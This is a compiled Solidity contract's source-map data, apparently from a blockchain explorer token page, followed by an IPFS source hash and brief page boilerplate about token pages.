;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5110:4;5115:1;5110:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;1542:42;5158:88;;;1086:3;918:2;986;:14;;;;:::i;:::-;965:17;:35;;;;:::i;:::-;1072:17;;;;:::i;:::-;5302:1;5326:4;5361;5389:15;5158:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5448:14;;;;;;;;;;;5440:32;;:100;5522:3;5516:2;5492:21;:26;;;;:::i;:::-;5491:34;;;;:::i;:::-;5440:100;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5563:14;;;;;;;;;;;5555:32;;:100;5637:3;5631:2;5607:21;:26;;;;:::i;:::-;5606:34;;;;:::i;:::-;5555:100;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5678:4;;;;;;;;;;;5670:22;;:90;5742:3;5736:2;5712:21;:26;;;;:::i;:::-;5711:34;;;;:::i;:::-;5670:90;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5788:5;5777:8;;:16;;;;;;;;;;;;;;;;;;4972:833;4818:987;5818:13;5833:14;5852:9;:16;;;;;;;;;;;;5870:9;:17;;;;;;;;;;;;5817:71;;;;5919:4;5903:21;;:4;:21;;;;:44;;;;;5943:4;5928:19;;:11;;;;;;;;;;;:19;;;5903:44;5899:280;;;5964:27;6058:3;6028:4;;;;;;;;;;;6022:10;;:2;:10;;;:31;;6046:7;6022:31;;;6035:8;6022:31;5995:59;;:6;:59;;;;:::i;:::-;5994:67;;;;:::i;:::-;5964:97;;6086:19;6076:29;;;;;:::i;:::-;;;6148:19;6120:9;:24;6138:4;6120:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;5949:230;5899:280;6206:6;6189:9;:13;6199:2;6189:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;6237:9;;;;;;;;;;;6229:17;;:4;:17;;;6225:242;;6288:2;6268:31;;6277:9;;;;;;;;;;;6268:31;;;6292:6;6268:31;;;;;;:::i;:::-;;;;;;;;6225:242;;;6327:9;;;;;;;;;;;6321:15;;:2;:15;;;6317:150;;6373:9;;;;;;;;;;;6358:33;;6367:4;6358:33;;;6384:6;6358:33;;;;;;:::i;:::-;;;;;;;;6317:150;;;6444:2;6429:26;;6438:4;6429:26;;;6448:6;6429:26;;;;;;:::i;:::-;;;;;;;;6317:150;6225:242;6484:4;6477:11;;;;;4520:1976;;;;;:::o;3081:114::-;3142:7;3169:9;:18;;;;;;;;;;;;3162:25;;3081:114;:::o;2928:145::-;3025:4;3006:9;:16;;;:23;;;;;;;;;;;;;;;;;;3060:5;3040:9;:17;;;:25;;;;;;;;;;;;;;;;;;2928:145;;:::o;7:99:5:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:118::-;4940:24;4958:5;4940:24;:::i;:::-;4935:3;4928:37;4853:118;;:::o;4977:426::-;5118:4;5156:2;5145:9;5141:18;5133:26;;5169:71;5237:1;5226:9;5222:17;5213:6;5169:71;:::i;:::-;5250:68;5314:2;5303:9;5299:18;5290:6;5250:68;:::i;:::-;5328;5392:2;5381:9;5377:18;5368:6;5328:68;:::i;:::-;4977:426;;;;;;:::o;5409:118::-;5480:22;5496:5;5480:22;:::i;:::-;5473:5;5470:33;5460:61;;5517:1;5514;5507:12;5460:61;5409:118;:::o;5533:135::-;5577:5;5615:6;5602:20;5593:29;;5631:31;5656:5;5631:31;:::i;:::-;5533:135;;;;:::o;5674:466::-;5738:6;5746;5795:2;5783:9;5774:7;5770:23;5766:32;5763:119;;;5801:79;;:::i;:::-;5763:119;5921:1;5946:51;5989:7;5980:6;5969:9;5965:22;5946:51;:::i;:::-;5936:61;;5892:115;6046:2;6072:51;6115:7;6106:6;6095:9;6091:22;6072:51;:::i;:::-;6062:61;;6017:116;5674:466;;;;;:::o;6146:329::-;6205:6;6254:2;6242:9;6233:7;6229:23;6225:32;6222:119;;;6260:79;;:::i;:::-;6222:119;6380:1;6405:53;6450:7;6441:6;6430:9;6426:22;6405:53;:::i;:::-;6395:63;;6351:117;6146:329;;;;:::o;6481:222::-;6574:4;6612:2;6601:9;6597:18;6589:26;;6625:71;6693:1;6682:9;6678:17;6669:6;6625:71;:::i;:::-;6481:222;;;;:::o;6709:474::-;6777:6;6785;6834:2;6822:9;6813:7;6809:23;6805:32;6802:119;;;6840:79;;:::i;:::-;6802:119;6960:1;6985:53;7030:7;7021:6;7010:9;7006:22;6985:53;:::i;:::-;6975:63;;6931:117;7087:2;7113:53;7158:7;7149:6;7138:9;7134:22;7113:53;:::i;:::-;7103:63;;7058:118;6709:474;;;;;:::o;7189:180::-;7237:77;7234:1;7227:88;7334:4;7331:1;7324:15;7358:4;7355:1;7348:15;7375:320;7419:6;7456:1;7450:4;7446:12;7436:22;;7503:1;7497:4;7493:12;7524:18;7514:81;;7580:4;7572:6;7568:17;7558:27;;7514:81;7642:2;7634:6;7631:14;7611:18;7608:38;7605:84;;7661:18;;:::i;:::-;7605:84;7426:269;7375:320;;;:::o;7701:180::-;7749:77;7746:1;7739:88;7846:4;7843:1;7836:15;7870:4;7867:1;7860:15;7887:102;7929:8;7976:5;7973:1;7969:13;7948:34;;7887:102;;;:::o;7995:848::-;8056:5;8063:4;8087:6;8078:15;;8111:5;8102:14;;8125:712;8146:1;8136:8;8133:15;8125:712;;;8241:4;8236:3;8232:14;8226:4;8223:24;8220:50;;;8250:18;;:::i;:::-;8220:50;8300:1;8290:8;8286:16;8283:451;;;8715:4;8708:5;8704:16;8695:25;;8283:451;8765:4;8759;8755:15;8747:23;;8795:32;8818:8;8795:32;:::i;:::-;8783:44;;8125:712;;;7995:848;;;;;;;:::o;8849:1073::-;8903:5;9094:8;9084:40;;9115:1;9106:10;;9117:5;;9084:40;9143:4;9133:36;;9160:1;9151:10;;9162:5;;9133:36;9229:4;9277:1;9272:27;;;;9313:1;9308:191;;;;9222:277;;9272:27;9290:1;9281:10;;9292:5;;;9308:191;9353:3;9343:8;9340:17;9337:43;;;9360:18;;:::i;:::-;9337:43;9409:8;9406:1;9402:16;9393:25;;9444:3;9437:5;9434:14;9431:40;;;9451:18;;:::i;:::-;9431:40;9484:5;;;9222:277;;9608:2;9598:8;9595:16;9589:3;9583:4;9580:13;9576:36;9558:2;9548:8;9545:16;9540:2;9534:4;9531:12;9527:35;9511:111;9508:246;;;9664:8;9658:4;9654:19;9645:28;;9699:3;9692:5;9689:14;9686:40;;;9706:18;;:::i;:::-;9686:40;9739:5;;9508:246;9779:42;9817:3;9807:8;9801:4;9798:1;9779:42;:::i;:::-;9764:57;;;;9853:4;9848:3;9844:14;9837:5;9834:25;9831:51;;;9862:18;;:::i;:::-;9831:51;9911:4;9904:5;9900:16;9891:25;;8849:1073;;;;;;:::o;9928:281::-;9986:5;10010:23;10028:4;10010:23;:::i;:::-;10002:31;;10054:25;10070:8;10054:25;:::i;:::-;10042:37;;10098:104;10135:66;10125:8;10119:4;10098:104;:::i;:::-;10089:113;;9928:281;;;;:::o;10215:410::-;10255:7;10278:20;10296:1;10278:20;:::i;:::-;10273:25;;10312:20;10330:1;10312:20;:::i;:::-;10307:25;;10367:1;10364;10360:9;10389:30;10407:11;10389:30;:::i;:::-;10378:41;;10568:1;10559:7;10555:15;10552:1;10549:22;10529:1;10522:9;10502:83;10479:139;;10598:18;;:::i;:::-;10479:139;10263:362;10215:410;;;;:::o;10631:194::-;10671:4;10691:20;10709:1;10691:20;:::i;:::-;10686:25;;10725:20;10743:1;10725:20;:::i;:::-;10720:25;;10769:1;10766;10762:9;10754:17;;10793:1;10787:4;10784:11;10781:37;;;10798:18;;:::i;:::-;10781:37;10631:194;;;;:::o;10831:143::-;10888:5;10919:6;10913:13;10904:22;;10935:33;10962:5;10935:33;:::i;:::-;10831:143;;;;:::o;10980:351::-;11050:6;11099:2;11087:9;11078:7;11074:23;11070:32;11067:119;;;11105:79;;:::i;:::-;11067:119;11225:1;11250:64;11306:7;11297:6;11286:9;11282:22;11250:64;:::i;:::-;11240:74;;11196:128;10980:351;;;;:::o;11337:332::-;11458:4;11496:2;11485:9;11481:18;11473:26;;11509:71;11577:1;11566:9;11562:17;11553:6;11509:71;:::i;:::-;11590:72;11658:2;11647:9;11643:18;11634:6;11590:72;:::i;:::-;11337:332;;;;;:::o;11675:180::-;11723:77;11720:1;11713:88;11820:4;11817:1;11810:15;11844:4;11841:1;11834:15;11861:185;11901:1;11918:20;11936:1;11918:20;:::i;:::-;11913:25;;11952:20;11970:1;11952:20;:::i;:::-;11947:25;;11991:1;11981:35;;11996:18;;:::i;:::-;11981:35;12038:1;12035;12031:9;12026:14;;11861:185;;;;:::o;12052:180::-;12100:77;12097:1;12090:88;12197:4;12194:1;12187:15;12221:4;12218:1;12211:15;12238:180;12286:77;12283:1;12276:88;12383:4;12380:1;12373:15;12407:4;12404:1;12397:15;12424:85;12469:7;12498:5;12487:16;;12424:85;;;:::o;12515:60::-;12543:3;12564:5;12557:12;;12515:60;;;:::o;12581:158::-;12639:9;12672:61;12690:42;12699:32;12725:5;12699:32;:::i;:::-;12690:42;:::i;:::-;12672:61;:::i;:::-;12659:74;;12581:158;;;:::o;12745:147::-;12840:45;12879:5;12840:45;:::i;:::-;12835:3;12828:58;12745:147;;:::o;12898:114::-;12965:6;12999:5;12993:12;12983:22;;12898:114;;;:::o;13018:184::-;13117:11;13151:6;13146:3;13139:19;13191:4;13186:3;13182:14;13167:29;;13018:184;;;;:::o;13208:132::-;13275:4;13298:3;13290:11;;13328:4;13323:3;13319:14;13311:22;;13208:132;;;:::o;13346:108::-;13423:24;13441:5;13423:24;:::i;:::-;13418:3;13411:37;13346:108;;:::o;13460:179::-;13529:10;13550:46;13592:3;13584:6;13550:46;:::i;:::-;13628:4;13623:3;13619:14;13605:28;;13460:179;;;;:::o;13645:113::-;13715:4;13747;13742:3;13738:14;13730:22;;13645:113;;;:::o;13794:732::-;13913:3;13942:54;13990:5;13942:54;:::i;:::-;14012:86;14091:6;14086:3;14012:86;:::i;:::-;14005:93;;14122:56;14172:5;14122:56;:::i;:::-;14201:7;14232:1;14217:284;14242:6;14239:1;14236:13;14217:284;;;14318:6;14312:13;14345:63;14404:3;14389:13;14345:63;:::i;:::-;14338:70;;14431:60;14484:6;14431:60;:::i;:::-;14421:70;;14277:224;14264:1;14261;14257:9;14252:14;;14217:284;;;14221:14;14517:3;14510:10;;13918:608;;;13794:732;;;;:::o;14532:831::-;14795:4;14833:3;14822:9;14818:19;14810:27;;14847:71;14915:1;14904:9;14900:17;14891:6;14847:71;:::i;:::-;14928:80;15004:2;14993:9;14989:18;14980:6;14928:80;:::i;:::-;15055:9;15049:4;15045:20;15040:2;15029:9;15025:18;15018:48;15083:108;15186:4;15177:6;15083:108;:::i;:::-;15075:116;;15201:72;15269:2;15258:9;15254:18;15245:6;15201:72;:::i;:::-;15283:73;15351:3;15340:9;15336:19;15327:6;15283:73;:::i;:::-;14532:831;;;;;;;;:::o;15369:191::-;15409:3;15428:20;15446:1;15428:20;:::i;:::-;15423:25;;15462:20;15480:1;15462:20;:::i;:::-;15457:25;;15505:1;15502;15498:9;15491:16;;15526:3;15523:1;15520:10;15517:36;;;15533:18;;:::i;:::-;15517:36;15369:191;;;;:::o

Swarm Source

ipfs://57e9e70c3a0da6cd88d3a45cb78142943b8e5983173529e578845a8cf0411f29
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.